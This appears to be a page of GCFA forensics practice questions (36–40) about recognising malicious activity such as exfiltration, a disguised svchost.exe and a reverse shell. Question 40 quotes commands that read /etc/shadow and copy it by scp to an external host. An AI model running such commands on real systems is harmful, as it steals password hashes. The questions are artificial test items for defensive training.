Identification of Malicious System and User Activity GCFA Practice Questions (Page 8)

Questions 36–40

1. 36foundation · easy

   A forensic analyst is reviewing file access logs and notices that a user account, which normally accesses only marketing documents, suddenly accessed a large number of files in the HR directory and then copied them to a USB drive. Which malicious user activity does this behavior most directly indicate?

   • AUnauthorized access
   • BMalware infection
   • CData exfiltration
   • DPrivilege escalation
   Reveal Solution Discussion Select an answer first
2. 37application · medium

   A forensic analyst is monitoring a production server. They notice that a process named 'svchost.exe' is making repeated connections to an IP address known to be a command-and-control server. The process's command line includes '-k netsvcs' which is normal, but the binary path is C:\Windows\Temp\svchost.exe. What should the analyst do?

   • ATreat it as a potential compromise and investigate the binary
   • BRestart the service to see if the issue resolves
   • CIgnore it because the command line is normal
   • DCheck if the IP is in a threat intelligence feed
   Reveal Solution Discussion Select an answer first
4. 38application · medium

   A forensic analyst is reviewing a Linux server's audit logs. They notice a series of syscalls from a process named 'httpd' that include 'connect()' to a non-standard port on an internal IP, followed by 'execve()' of '/bin/sh'. The process's parent is PID 1 (init). The web server's normal behavior does not include outbound connections. What should the analyst conclude?

   • AA user is running a script via the web server
   • BThe system is under a denial-of-service attack
   • CThe web server is performing a legitimate health check
   • DThe httpd process has been compromised and is acting as a reverse shell
   Reveal Solution Discussion Select an answer first
5. 39application · medium

   A user's account shows multiple failed logon attempts, followed by a successful logon at 3:00 AM, and then a large file transfer to an external FTP server. Which pattern of malicious user activity does this represent?

   • APrivilege escalation through a new account
   • BBrute-force attack followed by data exfiltration
   • CLateral movement to another system
   • DDefense evasion by disabling security tools
   Reveal Solution Discussion Select an answer first
6. 40application · medium

   An analyst is reviewing a user's command history. The user 'asmith' ran the following commands in sequence: 'sudo su -', 'cat /etc/shadow', 'scp /etc/shadow user@external-ip:/tmp/'. The user is a junior administrator with no need to access the shadow file. What does this indicate?

   • AThe user was troubleshooting a login issue
   • BThe user's account was compromised and used to exfiltrate password hashes
   • CThe user was backing up the system
   • DThe user was performing a security audit
   Reveal Solution Discussion Select an answer first